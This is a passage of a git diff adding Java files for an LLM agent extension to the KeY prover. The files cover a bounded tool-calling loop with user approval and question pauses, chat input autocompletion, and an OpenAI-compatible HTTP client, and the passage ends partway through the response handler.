+    implementation project(":key.core")
+    implementation project(":key.ui")
+
+    implementation("org.apache.httpcomponents.client5:httpclient5:5.5.1")
+    implementation("com.google.code.gson:gson:2.13.2")
+    implementation("org.slf4j:jcl-over-slf4j:1.7.5")
+
+    implementation platform("io.modelcontextprotocol.sdk:mcp-bom:2.0.0")
+    implementation("io.modelcontextprotocol.sdk:mcp:2.0.0")
+}
\ No newline at end of file
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/AgentLoop.java b/keyext.llm/src/main/java/org/key_project/key/llm/AgentLoop.java
new file mode 100644
index 00000000000..85f238002fb
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/AgentLoop.java
@@ -0,0 +1,360 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+import de.uka.ilkd.key.proof.Node;
+import de.uka.ilkd.key.proof.Proof;
+
+import org.key_project.key.llm.AgentResult.Question;
+import org.key_project.key.llm.AgentResult.ToolActivity;
+import org.key_project.key.llm.AgentResult.ToolCallInfo;
+import org.key_project.key.llm.LlmContext.LlmMessage;
+import org.key_project.key.llm.mcp.KeYAgentTools;
+
+import com.google.gson.GsonBuilder;
+import org.jspecify.annotations.Nullable;
+
+/**
+ * The KeY-Agent driver: runs one conversation turn as a bounded tool-calling loop and pauses for
+ * user interaction (questions and tool approvals).
+ * <p>
+ * Life cycle:
+ * <ol>
+ * <li>{@link #begin begin(...)} runs until a final answer ({@link AgentResult.Done}), a question
+ * ({@link AgentResult.NeedsInput}), an approval request ({@link AgentResult.NeedsApproval})
+ * or an error ({@link AgentResult.Failed}) occurs.</li>
+ * <li>On a question, the UI shows it and calls {@link #answerQuestion(String)}.</li>
+ * <li>On an approval request, the UI asks the user and calls
+ * {@link #decideApproval(boolean, boolean)}.</li>
+ * </ol>
+ * All assistant/tool messages of one turn are appended to the session's per-proof
+ * {@link LlmSession#getContext() context} while they occur, so the next turn continues naturally.
+ * The number of tool rounds is bounded by {@code maxToolRounds}.
+ *
+ * @author Alexander Weigl
+ */
+public class AgentLoop {
+    private final LlmSession session;
+    private final ChatCompletionsClient completions;
+
+    private final List<Map<String, Object>> thread = new ArrayList<>();
+    private final List<ToolActivity> activities = new ArrayList<>();
+    private AgentRequest request;
+    private int rounds = 0;
+    private boolean cancelled = false;
+    private @Nullable Pending pending;
+
+    private interface Pending {
+    }
+
+    private record PendingApproval(String toolCallId, String name, String arguments)
+            implements Pending {
+    }
+
+    private record PendingQuestion(String toolCallId, Question question) implements Pending {
+    }
+
+    public AgentLoop(LlmSession session, ChatCompletionsClient completions) {
+        this.session = session;
+        this.completions = completions;
+    }
+
+    /**
+     * Starts a new turn with the given raw user input. Resolves {@code $}, {@code @} and
+     * {@code /} markup, assembles the request and runs the loop.
+     */
+    public AgentResult begin(String rawUserText, @Nullable Proof proof, @Nullable Node node,
+            @Nullable Skill skill) {
+        var resolver = new PromptResolver.Context() {
+            @Override
+            public @Nullable Proof proof() {
+                return proof;
+            }
+
+            @Override
+            public @Nullable Node node() {
+                return node;
+            }
+        };
+        var resolved = PromptResolver.resolve(rawUserText, session, resolver);
+
+        // /skill: directive of this message wins; otherwise the session's active skill applies
+        Skill effective =
+            resolved.skillName() != null ? SkillLibrary.INSTANCE.get(resolved.skillName())
+                    : skill;
+        request = ExtendedPrompt.build(session, proof, node, resolved.text(), effective);
+        thread.clear();
+        thread.addAll(request.messages());
+        activities.clear();
+        rounds = 0;
+        cancelled = false;
+        pending = null;
+        return loop();
+    }
+
+    /** Continues the turn after the user answered a question. */
+    public AgentResult answerQuestion(String answer) {
+        if (!(pending instanceof PendingQuestion q)) {
+            return new AgentResult.Failed(new IllegalStateException("no pending question"));
+        }
+        pending = null;
+        addToolResult(q.toolCallId(), "Answer: " + answer, false);
+        return loop();
+    }
+
+    /**
+     * Continues the turn after an approval decision.
+     *
+     * @param allow whether the tool may run
+     * @param always remember the decision without further prompts for this tool
+     */
+    public AgentResult decideApproval(boolean allow, boolean always) {
+        if (!(pending instanceof PendingApproval p)) {
+            return new AgentResult.Failed(new IllegalStateException("no pending approval"));
+        }
+        pending = null;
+        if (!allow) {
+            addToolResult(p.toolCallId(),
+                "[Tool call denied by the user: " + p.name() + "]", false);
+            return loop();
+        }
+        if (always) {
+            session.getMcpClient().allowWithoutApproval(p.name());
+        }
+        try {
+            var result = session.getMcpClient().callTool(p.name(), p.arguments());
+            addToolResult(p.toolCallId(), stringify(result), true);
+        } catch (Exception e) {
+            addToolResult(p.toolCallId(), "Error: " + e.getMessage(), false);
+        }
+        return loop();
+    }
+
+    /** Requests cancellation; takes effect after the current HTTP call returns. */
+    public void cancel() {
+        cancelled = true;
+    }
+
+    public boolean isCancelled() {
+        return cancelled;
+    }
+
+    public boolean hasPendingQuestion() {
+        return pending instanceof PendingQuestion;
+    }
+
+    public boolean hasPendingApproval() {
+        return pending instanceof PendingApproval;
+    }
+
+    /** Whether a tool-calling round is in progress (used to enable/disable the stop button). */
+    public boolean isRunning() {
+        return !cancelled && pending == null;
+    }
+
+    // --------------------------------------------------------------------- core loop
+
+    private AgentResult loop() {
+        int maxRounds = Math.max(1, request.maxToolRounds());
+        while (true) {
+            if (cancelled || Thread.currentThread().isInterrupted()) {
+                return new AgentResult.Done("(Turn cancelled by the user.)",
+                    List.copyOf(activities));
+            }
+            if (rounds >= maxRounds) {
+                return new AgentResult.Done(
+                    "(Stopped: the maximum number of tool rounds (" + maxRounds
+                        + ") was reached without a final answer.)",
+                    List.copyOf(activities));
+            }
+
+            final Map<String, Object> response;
+            try {
+                response = completions.complete(session, new AgentRequest(request.model(),
+                    List.copyOf(thread), request.tools(), request.temperature(),
+                    request.maxOutputTokens(), request.maxToolRounds()));
+            } catch (Exception e) {
+                return new AgentResult.Failed(e);
+            }
+
+            final Map<?, ?> message;
+            try {
+                message = extractMessage(response);
+            } catch (Exception e) {
+                return new AgentResult.Failed(e);
+            }
+
+            var toolCalls = asList(message.get("tool_calls"));
+            String content = message.get("content") == null ? ""
+                    : String.valueOf(message.get("content"));
+
+            if (toolCalls == null || toolCalls.isEmpty()) {
+                var answer = new LlmMessage("assistant", content);
+                session.getContext().addMessage(answer);
+                return new AgentResult.Done(content, List.copyOf(activities));
+            }
+
+            rounds++;
+            var assistantMsg = LlmMessage.assistant(content, casts(toolCalls));
+            thread.add(assistantMsg.toOpenAiMap());
+            session.getContext().addMessage(assistantMsg);
+
+            var interrupted = processBatch(casts(toolCalls));
+            if (interrupted != null) {
+                return interrupted; // NEEDS_INPUT or NEEDS_APPROVAL
+            }
+            // otherwise the batch results were appended to the thread; loop with the follow-up
+        }
+    }
+
+    /**
+     * Executes a batch of tool calls. Returns a non-null result when the turn must pause for the
+     * user; {@code null} when the turn can continue with the collected tool results.
+     */
+    private @Nullable AgentResult processBatch(List<Map<String, Object>> toolCalls) {
+        var results = new ArrayList<LlmMessage>();
+        for (var toolCall : toolCalls) {
+            var id = String.valueOf(toolCall.get("id"));
+            Object func = toolCall.get("function");
+            var function = func instanceof Map<?, ?> f ? f : Map.of();
+            var name = String.valueOf(function.get("name"));
+            var arguments = function.get("arguments") == null ? "{}"
+                    : String.valueOf(function.get("arguments"));
+
+            if (KeYAgentTools.TOOL_ASK_USER.equals(name)) {
+                if (!LlmSettings.INSTANCE.getAllowAgentQuestions()) {
+                    results.add(LlmMessage.tool(id,
+                        "[Asking the user is disabled in the settings]"));
+                    continue;
+                }
+                flush(results);
+                var question = parseQuestion(arguments);
+                pending = new PendingQuestion(id, question);
+                return new AgentResult.NeedsInput(question);
+            }
+
+            if (KeYAgentTools.TOOL_USE_SKILL.equals(name)) {
+                if (!LlmSettings.INSTANCE.getAgentCanUseSkills()) {
+                    results.add(LlmMessage.tool(id, "[Skills are disabled in the settings]"));
+                    continue;
+                }
+                var skillName = parseSkillName(arguments);
+                if (skillName == null || SkillLibrary.INSTANCE.get(skillName) == null) {
+                    results.add(LlmMessage.tool(id,
+                        "[Unknown skill: " + (skillName == null ? "(missing name)" : skillName)
+                            + "]"));
+                    continue;
+                }
+                session.setActiveSkill(skillName);
+                results.add(LlmMessage.tool(id,
+                    "[Skill '" + skillName + "' activated for subsequent turns]"));
+                continue;
+            }
+
+            if (session.getMcpClient().requiresApproval(name)) {
+                flush(results);
+                pending = new PendingApproval(id, name, arguments);
+                return new AgentResult.NeedsApproval(new ToolCallInfo(id, name, arguments));
+            }
+
+            try {
+                var result = session.getMcpClient().callTool(name, arguments);
+                results.add(LlmMessage.tool(id, stringify(result)));
+                activities.add(new ToolActivity(name, arguments, stringify(result)));
+            } catch (Exception e) {
+                var errorText = "Error calling " + name + ": " + e.getMessage();
+                results.add(LlmMessage.tool(id, errorText));
+                activities.add(new ToolActivity(name, arguments, errorText));
+            }
+        }
+        flush(results);
+        return null;
+    }
+
+    private void flush(List<LlmMessage> results) {
+        for (var msg : results) {
+            thread.add(msg.toOpenAiMap());
+            session.getContext().addMessage(msg);
+        }
+        results.clear();
+    }
+
+    private void addToolResult(String toolCallId, String content, boolean asActivity) {
+        var msg = LlmMessage.tool(toolCallId, content);
+        thread.add(msg.toOpenAiMap());
+        session.getContext().addMessage(msg);
+    }
+
+    private static Question parseQuestion(String arguments) {
+        try {
+            var parsed = new GsonBuilder().create().fromJson(arguments, Question.class);
+            return parsed == null ? new Question(arguments, List.of()) : parsed;
+        } catch (Exception e) {
+            return new Question(arguments, List.of());
+        }
+    }
+
+    private static @Nullable String parseSkillName(String arguments) {
+        try {
+            var parsed = new GsonBuilder().create().fromJson(arguments, Map.class);
+            if (parsed != null) {
+                Object name = parsed.get("name");
+                return name == null ? null : String.valueOf(name);
+            }
+        } catch (Exception e) {
+            // fall through
+        }
+        return null;
+    }
+
+    private static Map<?, ?> extractMessage(Map<String, Object> response) throws Exception {
+        var choices = asList(response.get("choices"));
+        if (choices == null || choices.isEmpty()) {
+            throw new RuntimeException("The API response contains no choices.");
+        }
+        Object first = choices.get(0);
+        if (!(first instanceof Map<?, ?> choice)) {
+            throw new RuntimeException("Malformed choice in API response.");
+        }
+        Object message = choice.get("message");
+        if (!(message instanceof Map<?, ?> m)) {
+            throw new RuntimeException("Malformed message in API response.");
+        }
+        return m;
+    }
+
+    private static String stringify(Object result) {
+        if (result == null) {
+            return "(no result)";
+        }
+        if (result instanceof String s) {
+            return s;
+        }
+        try {
+            return new GsonBuilder().create().toJson(result);
+        } catch (Exception e) {
+            return result.toString();
+        }
+    }
+
+    @SuppressWarnings("unchecked")
+    private static List<Map<String, Object>> casts(List<?> toolCalls) {
+        List<Map<String, Object>> result = new ArrayList<>();
+        for (Object o : toolCalls) {
+            if (o instanceof Map<?, ?> m) {
+                result.add((Map<String, Object>) m);
+            }
+        }
+        return result;
+    }
+
+    @SuppressWarnings("unchecked")
+    private static List<?> asList(Object o) {
+        return o instanceof List<?> l ? l : null;
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/AgentRequest.java b/keyext.llm/src/main/java/org/key_project/key/llm/AgentRequest.java
new file mode 100644
index 00000000000..fdd682f22a8
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/AgentRequest.java
@@ -0,0 +1,43 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+import java.util.Map;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * One request towards the chat-completion API, assembled by {@link ExtendedPrompt}.
+ * <p>
+ * The messages are already fully resolved (system prompt, history, context blocks, file
+ * attachments, user prompt). The {@code tools} list contains the OpenAI-format tool definitions
+ * for the active tool set.
+ *
+ * @param model the model id to use
+ * @param messages the message list in wire format
+ * @param tools the tool definitions in wire format (may be empty)
+ * @param temperature optional temperature override ({@code null} = use model default)
+ * @param maxOutputTokens optional cap on generated tokens ({@code null} = no cap)
+ * @param maxToolRounds maximum number of tool-call rounds within one agent turn
+ */
+public record AgentRequest(
+        String model,
+        List<Map<String, Object>> messages,
+        List<Map<String, Object>> tools,
+        @Nullable Double temperature,
+        @Nullable Integer maxOutputTokens,
+        int maxToolRounds) {
+
+    public AgentRequest {
+        tools = tools == null ? List.of() : List.copyOf(tools);
+        messages = List.copyOf(messages);
+    }
+
+    /** Creates a request with model defaults for temperature and output tokens. */
+    public static AgentRequest of(String model, List<Map<String, Object>> messages,
+            List<Map<String, Object>> tools, int maxToolRounds) {
+        return new AgentRequest(model, messages, tools, null, null, maxToolRounds);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/AgentResult.java b/keyext.llm/src/main/java/org/key_project/key/llm/AgentResult.java
new file mode 100644
index 00000000000..8aab471f661
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/AgentResult.java
@@ -0,0 +1,52 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.List;
+
+/**
+ * The outcome of one step (or the whole turn) of the KeY-Agent loop.
+ * <p>
+ * A turn ends in one of four ways:
+ * <ul>
+ * <li>{@link Done} - a final (non tool-calling) answer was produced.</li>
+ * <li>{@link NeedsInput} - the agent asked a question ({@code ask_user}) and waits for the user
+ * to answer before continuing.</li>
+ * <li>{@link NeedsApproval} - the agent wants to call a tool that requires user approval and
+ * waits for a decision.</li>
+ * <li>{@link Failed} - an error occurred (transport, API error, tool limit).</li>
+ * </ul>
+ */
+public sealed interface AgentResult {
+
+    /** The agent produced a final answer. */
+    record Done(String content, List<ToolActivity> activities) implements AgentResult {
+    }
+
+    /** The agent asked a question; resume with {@code AgentLoop.answerQuestion(String)}. */
+    record NeedsInput(Question question) implements AgentResult {
+    }
+
+    /** A tool call awaits user approval; resume with {@code AgentLoop.decideApproval(...)}. */
+    record NeedsApproval(ToolCallInfo toolCall) implements AgentResult {
+    }
+
+    /** The turn failed; {@code error} may be user-presentable via its message. */
+    record Failed(Throwable error) implements AgentResult {
+    }
+
+    /** One executed tool call, rendered to the user when tool activity is shown. */
+    record ToolActivity(String name, String arguments, String result) {
+    }
+
+    /** A question to be shown to the user, with optional predefined answer options. */
+    record Question(
+            @com.google.gson.annotations.SerializedName("question") String text,
+            List<String> options) {
+    }
+
+    /** A pending tool call that awaits an approval decision. */
+    record ToolCallInfo(String id, String name, String arguments) {
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteInput.java b/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteInput.java
new file mode 100644
index 00000000000..a87cc162404
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteInput.java
@@ -0,0 +1,263 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.awt.*;
+import java.awt.event.KeyAdapter;
+import java.awt.event.KeyEvent;
+import java.awt.event.MouseAdapter;
+import java.awt.event.MouseEvent;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import javax.swing.*;
+import javax.swing.event.DocumentEvent;
+import javax.swing.event.DocumentListener;
+import javax.swing.text.BadLocationException;
+
+import org.jspecify.annotations.Nullable;
+
+/**
+ * A text area with lightweight inline autocompletion:
+ * <ul>
+ * <li>{@code $} - context tokens (e.g. {@code $seq}, {@code $goals}, {@code $computePath})</li>
+ * <li>{@code @} - files of the current Java model</li>
+ * <li>{@code /} - skills and prompts from the user libraries</li>
+ * </ul>
+ * The popup follows the caret; Enter/Tab accept the selected entry, Up/Down navigate, Esc closes.
+ *
+ * @author Alexander Weigl
+ */
+public class AutocompleteInput extends JTextArea {
+
+    /** A single completion proposal. */
+    public record Suggestion(@Nullable String insert, String label, String detail,
+            @Nullable Runnable action) {
+
+        public Suggestion(String insert, String label, String detail) {
+            this(insert, label, detail, null);
+        }
+    }
+
+    /** Produces suggestions for a trigger character and the word typed so far. */
+    public interface CompletionProvider {
+        char trigger();
+
+        List<Suggestion> apply(String prefix);
+    }
+
+    private final Map<Character, CompletionProvider> providers = new HashMap<>();
+    private final JWindow popup = new JWindow();
+    private final JList<Suggestion> list = new JList<>();
+    private int completionStart = -1;
+    private char activeTrigger;
+
+    public AutocompleteInput() {
+        setLineWrap(true);
+        setWrapStyleWord(true);
+        popup.setLayout(new BorderLayout());
+        popup.add(new JScrollPane(list));
+        popup.setSize(320, 150);
+
+        list.setCellRenderer(new DefaultListCellRenderer() {
+            @Override
+            public Component getListCellRendererComponent(JList<?> l, Object value, int index,
+                    boolean isSelected, boolean cellHasFocus) {
+                var c = (JLabel) super.getListCellRendererComponent(l, value, index, isSelected,
+                    cellHasFocus);
+                if (value instanceof Suggestion s) {
+                    c.setText("<html><b>" + s.label() + "</b> " + s.detail() + "</html>");
+                }
+                return c;
+            }
+        });
+
+        list.addMouseListener(new MouseAdapter() {
+            @Override
+            public void mouseClicked(MouseEvent e) {
+                if (e.getClickCount() == 2) {
+                    accept();
+                }
+            }
+        });
+
+        getDocument().addDocumentListener(new DocumentListener() {
+            @Override
+            public void insertUpdate(DocumentEvent e) {
+                updatePopup();
+            }
+
+            @Override
+            public void removeUpdate(DocumentEvent e) {
+                updatePopup();
+            }
+
+            @Override
+            public void changedUpdate(DocumentEvent e) {
+                updatePopup();
+            }
+        });
+
+        addKeyListener(new KeyAdapter() {
+            @Override
+            public void keyPressed(KeyEvent e) {
+                if (!popup.isVisible()) {
+                    return;
+                }
+                int code = e.getKeyCode();
+                if (code == KeyEvent.VK_UP) {
+                    moveSelection(-1);
+                    e.consume();
+                } else if (code == KeyEvent.VK_DOWN) {
+                    moveSelection(1);
+                    e.consume();
+                } else if (code == KeyEvent.VK_ENTER || code == KeyEvent.VK_TAB) {
+                    accept();
+                    e.consume();
+                } else if (code == KeyEvent.VK_ESCAPE) {
+                    popup.setVisible(false);
+                    e.consume();
+                }
+            }
+        });
+    }
+
+    public void addProvider(CompletionProvider provider) {
+        providers.put(provider.trigger(), provider);
+    }
+
+    public List<Suggestion> suggestionsFor(char trigger, String prefix) {
+        var provider = providers.get(trigger);
+        return provider == null ? List.of() : provider.apply(prefix);
+    }
+
+    private void updatePopup() {
+        if (providers.isEmpty()) {
+            return;
+        }
+        computeCompletion();
+        if (completionStart < 0) {
+            popup.setVisible(false);
+            return;
+        }
+        var state = gather();
+        if (state.suggestions().isEmpty()) {
+            popup.setVisible(false);
+            return;
+        }
+        list.setListData(state.suggestions().toArray(new Suggestion[0]));
+        var model = list.getModel();
+        if (model.getSize() > 0) {
+            list.setSelectedIndex(0);
+        }
+        positionPopup(state.caretOffset());
+        popup.setVisible(true);
+    }
+
+    private record CompletionState(int caretOffset, List<Suggestion> suggestions) {
+    }
+
+    private CompletionState gather() {
+        try {
+            int caret = getCaretPosition();
+            int line = getLineOfOffset(caret);
+            int lineStart = getLineStartOffset(line);
+            String prefix = getText(lineStart, caret - lineStart);
+            // the word behind the trigger
+            String word = prefix.substring(completionStart - lineStart + 1);
+            var suggestions = suggestionsFor(activeTrigger, word);
+            return new CompletionState(caret, suggestions);
+        } catch (BadLocationException e) {
+            return new CompletionState(-1, List.of());
+        }
+    }
+
+    /**
+     * Finds the trigger character that starts a completion at (or directly before) the caret, and
+     * remembers its offset. A trigger only counts if the text between it and the caret is a
+     * plausible word for the given trigger (letters, digits, '_' and '.').
+     */
+    private void computeCompletion() {
+        completionStart = -1;
+        try {
+            int caret = getCaretPosition();
+            if (caret == 0) {
+                return;
+            }
+            String text = getText();
+            int i = caret - 1;
+            while (i >= 0) {
+                char c = text.charAt(i);
+                if (c == '$' || c == '@' || c == '/') {
+                    String word = text.substring(i + 1, caret);
+                    if (isPlausibleWord(c, word)) {
+                        if (c == '/' && caret - i > 1 && word.contains(" ")) {
+                            return; // a "/..." directive with a space must already have completed
+                        }
+                        completionStart = i;
+                        activeTrigger = c;
+                    }
+                    return;
+                }
+                if (!isWordChar(c)) {
+                    return;
+                }
+                i--;
+            }
+        } catch (Exception e) {
+            completionStart = -1;
+        }
+    }
+
+    private static boolean isPlausibleWord(char trigger, String word) {
+        if (word.contains(" ")) {
+            return trigger == '@' || trigger == '$';
+        }
+        return true;
+    }
+
+    private static boolean isWordChar(char c) {
+        return Character.isLetterOrDigit(c) || c == '_' || c == '-' || c == '.' || c == ':';
+    }
+
+    private void positionPopup(int caretOffset) {
+        try {
+            var view = modelToView2D(caretOffset);
+            Point loc = getLocationOnScreen();
+            popup.setLocation(loc.x + (int) view.getX(), loc.y + (int) view.getY() + getFontMetrics(
+                getFont()).getHeight() + 4);
+        } catch (Exception e) {
+            popup.setVisible(false);
+        }
+    }
+
+    private void moveSelection(int delta) {
+        int idx = list.getSelectedIndex();
+        int next = Math.max(0, Math.min(list.getModel().getSize() - 1, idx + delta));
+        list.setSelectedIndex(next);
+        list.ensureIndexIsVisible(next);
+    }
+
+    private void accept() {
+        Suggestion sel = list.getSelectedValue();
+        if (sel == null) {
+            popup.setVisible(false);
+            return;
+        }
+        if (sel.action() != null) {
+            popup.setVisible(false);
+            sel.action().run();
+            return;
+        }
+        if (sel.insert() != null) {
+            try {
+                getDocument().remove(completionStart, getCaretPosition() - completionStart);
+                getDocument().insertString(completionStart, sel.insert(), null);
+            } catch (BadLocationException e) {
+                // ignore
+            }
+        }
+        popup.setVisible(false);
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteProviders.java b/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteProviders.java
new file mode 100644
index 00000000000..64d36fe3c82
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/AutocompleteProviders.java
@@ -0,0 +1,137 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.ArrayList;
+import java.util.LinkedHashMap;
+import java.util.List;
+import java.util.Map;
+
+import de.uka.ilkd.key.gui.MainWindow;
+
+/**
+ * Built-in completion providers for the chat input:
+ * <ul>
+ * <li>{@code $} - context tokens</li>
+ * <li>{@code @} - files of the current Java model</li>
+ * <li>{@code /} - skills, prompts and library management entries</li>
+ * </ul>
+ *
+ * @author Alexander Weigl
+ */
+public final class AutocompleteProviders {
+    private static final Map<String, String> TOKEN_DESCRIPTIONS = new LinkedHashMap<>();
+
+    static {
+        TOKEN_DESCRIPTIONS.put("seq", "the current sequent");
+        TOKEN_DESCRIPTIONS.put("goals", "the open goals");
+        TOKEN_DESCRIPTIONS.put("proof", "proof status (open/closed goals, node count)");
+        TOKEN_DESCRIPTIONS.put("proofName", "name of the current proof");
+        TOKEN_DESCRIPTIONS.put("computePath", "applied rules from the root to the selected node");
+        TOKEN_DESCRIPTIONS.put("model", "Java model directory and class paths");
+        TOKEN_DESCRIPTIONS.put("classpath", "Java class path");
+        TOKEN_DESCRIPTIONS.put("bootClasspath", "Java boot class path");
+        TOKEN_DESCRIPTIONS.put("selectedFiles", "the files attached in this chat");
+    }
+
+    private AutocompleteProviders() {
+    }
+
+    /** Completions for {@code $}: context tokens. */
+    public static AutocompleteInput.CompletionProvider contextTokens() {
+        return new AutocompleteInput.CompletionProvider() {
+            @Override
+            public char trigger() {
+                return '$';
+            }
+
+            @Override
+            public List<AutocompleteInput.Suggestion> apply(String prefix) {
+                var result = new ArrayList<AutocompleteInput.Suggestion>();
+                for (var e : TOKEN_DESCRIPTIONS.entrySet()) {
+                    if (e.getKey().startsWith(prefix)) {
+                        result.add(new AutocompleteInput.Suggestion("$" + e.getKey() + " ",
+                            "$" + e.getKey(), e.getValue()));
+                    }
+                }
+                return result;
+            }
+        };
+    }
+
+    /** Completions for {@code @}: files of the current Java model. */
+    public static AutocompleteInput.CompletionProvider files() {
+        return new AutocompleteInput.CompletionProvider() {
+            @Override
+            public char trigger() {
+                return '@';
+            }
+
+            @Override
+            public List<AutocompleteInput.Suggestion> apply(String prefix) {
+                var mediator = MainWindow.getInstance().getMediator();
+                var proof = mediator == null ? null : mediator.getSelectedProof();
+                var result = new ArrayList<AutocompleteInput.Suggestion>();
+                for (var path : FileAccess.listFiles(proof)) {
+                    var rel = FileAccess.relativeName(proof, path);
+                    if (rel == null) {
+                        continue;
+                    }
+                    if (prefix.isEmpty() || rel.startsWith(prefix)) {
+                        result.add(new AutocompleteInput.Suggestion("@" + rel + " ", "@" + rel,
+                            path.getFileName().toString()));
+                    }
+                }
+                return result;
+            }
+        };
+    }
+
+    /**
+     * Completions for {@code /}: skills, prompts and entries that open the library dialogs.
+     *
+     * @param openPromptDialog callback to create a new prompt
+     * @param openSkillDialog callback to create a new skill
+     */
+    public static AutocompleteInput.CompletionProvider commands(Runnable openPromptDialog,
+            Runnable openSkillDialog) {
+        return new AutocompleteInput.CompletionProvider() {
+            @Override
+            public char trigger() {
+                return '/';
+            }
+
+            @Override
+            public List<AutocompleteInput.Suggestion> apply(String prefix) {
+                var result = new ArrayList<AutocompleteInput.Suggestion>();
+                addCommands(result, prefix, "/skills", "list all skills", null);
+                addCommands(result, prefix, "/prompts", "list all prompts", null);
+                for (var skill : SkillLibrary.INSTANCE.all()) {
+                    if (skill.enabled()) {
+                        addCommands(result, prefix, "/skill:" + skill.name(),
+                            "skill \u2014 " + skill.description(), null);
+                    }
+                }
+                for (var prompt : PromptLibrary.INSTANCE.all()) {
+                    addCommands(result, prefix, "/prompt:" + prompt.name(),
+                        "prompt \u2014 " + prompt.description(), null);
+                }
+                addCommands(result, prefix, "\uD83D\uDDD2 new prompt\u2026", "create a new prompt",
+                    openPromptDialog);
+                addCommands(result, prefix, "\uD83D\uDDD2 new skill\u2026", "create a new skill",
+                    openSkillDialog);
+                return result;
+            }
+
+            private void addCommands(List<AutocompleteInput.Suggestion> result, String prefix,
+                    String text, String detail, Runnable action) {
+                if (prefix.isEmpty() || text.startsWith(prefix)) {
+                    result.add(
+                        new AutocompleteInput.Suggestion(text + (action == null ? " " : null),
+                            text, detail, action));
+                }
+            }
+        };
+    }
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/ChatCompletionsClient.java b/keyext.llm/src/main/java/org/key_project/key/llm/ChatCompletionsClient.java
new file mode 100644
index 00000000000..73b95efeea2
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/ChatCompletionsClient.java
@@ -0,0 +1,22 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.util.Map;
+
+/**
+ * Abstraction over a single chat-completion HTTP call. The default implementation talks to an
+ * OpenAI-compatible endpoint; tests may substitute a fake.
+ */
+public interface ChatCompletionsClient {
+    /**
+     * Sends one request and returns the parsed JSON response document.
+     *
+     * @param session the session carrying endpoint and authentication
+     * @param request the fully assembled request
+     * @return the parsed response (contains a {@code choices} array on success)
+     * @throws Exception on transport or protocol errors; non-2xx status codes throw as well
+     */
+    Map<String, Object> complete(LlmSession session, AgentRequest request) throws Exception;
+}
diff --git a/keyext.llm/src/main/java/org/key_project/key/llm/DefaultChatCompletionsClient.java b/keyext.llm/src/main/java/org/key_project/key/llm/DefaultChatCompletionsClient.java
new file mode 100644
index 00000000000..bfb26a3bec0
--- /dev/null
+++ b/keyext.llm/src/main/java/org/key_project/key/llm/DefaultChatCompletionsClient.java
@@ -0,0 +1,95 @@
+/* This file is part of KeY - https://key-project.org
+ * KeY is licensed under the GNU General Public License Version 2
+ * SPDX-License-Identifier: GPL-2.0-only */
+package org.key_project.key.llm;
+
+import java.io.IOException;
+import java.util.LinkedHashMap;
+import java.util.Map;
+
+import com.google.gson.GsonBuilder;
+import com.google.gson.JsonObject;
+import org.apache.hc.client5.http.classic.methods.HttpPost;
+import org.apache.hc.client5.http.impl.classic.AbstractHttpClientResponseHandler;
+import org.apache.hc.client5.http.impl.classic.HttpClients;
+import org.apache.hc.core5.http.HttpEntity;
+import org.apache.hc.core5.http.ParseException;
+import org.apache.hc.core5.http.io.entity.EntityUtils;
+import org.apache.hc.core5.http.io.entity.StringEntity;
+
+/**
+ * Default {@link ChatCompletionsClient} implementation based on Apache HttpClient 5, speaking the
+ * OpenAI-compatible chat-completions protocol.
+ *
+ * @author Alexander Weigl
+ */
+public class DefaultChatCompletionsClient implements ChatCompletionsClient {
+
+    /** Suffix appended to the endpoint configured in the {@link LlmSession}. */
+    public static final String COMPLETIONS_PATH = "/openai/chat/completions";
+
+    @Override
+    public Map<String, Object> complete(LlmSession session, AgentRequest request) throws Exception {
+        var url = session.getApiEndpoint() + COMPLETIONS_PATH;
+        var http = new HttpPost(url);
+        http.addHeader("Authorization", "Bearer " + session.getAuthToken());
+        http.addHeader("Content-Type", "application/json");
+        http.addHeader("Accept", "application/json");
+
+        var payload = new LinkedHashMap<String, Object>();
+        payload.put("model", request.model());
+        payload.put("messages", request.messages());
+        if (request.tools() != null && !request.tools().isEmpty()) {
+            payload.put("tools", request.tools());
+            payload.put("tool_choice", "auto");
+        }
+        if (request.temperature() != null) {
+            payload.put("temperature", request.temperature());
+        }
+        if (request.maxOutputTokens() != null) {
+            payload.put("max_tokens", request.maxOutputTokens());
+        }
+
+        var gson = new GsonBuilder().create();
+        http.setEntity(new StringEntity(gson.toJson(payload)));
+
+        try (var client = HttpClients.createDefault()) {
+            return client.execute(http, new ResponseHandler());
+        }
+    }
+
+    public static class ResponseHandler
+            extends AbstractHttpClientResponseHandler<Map<String, Object>> {
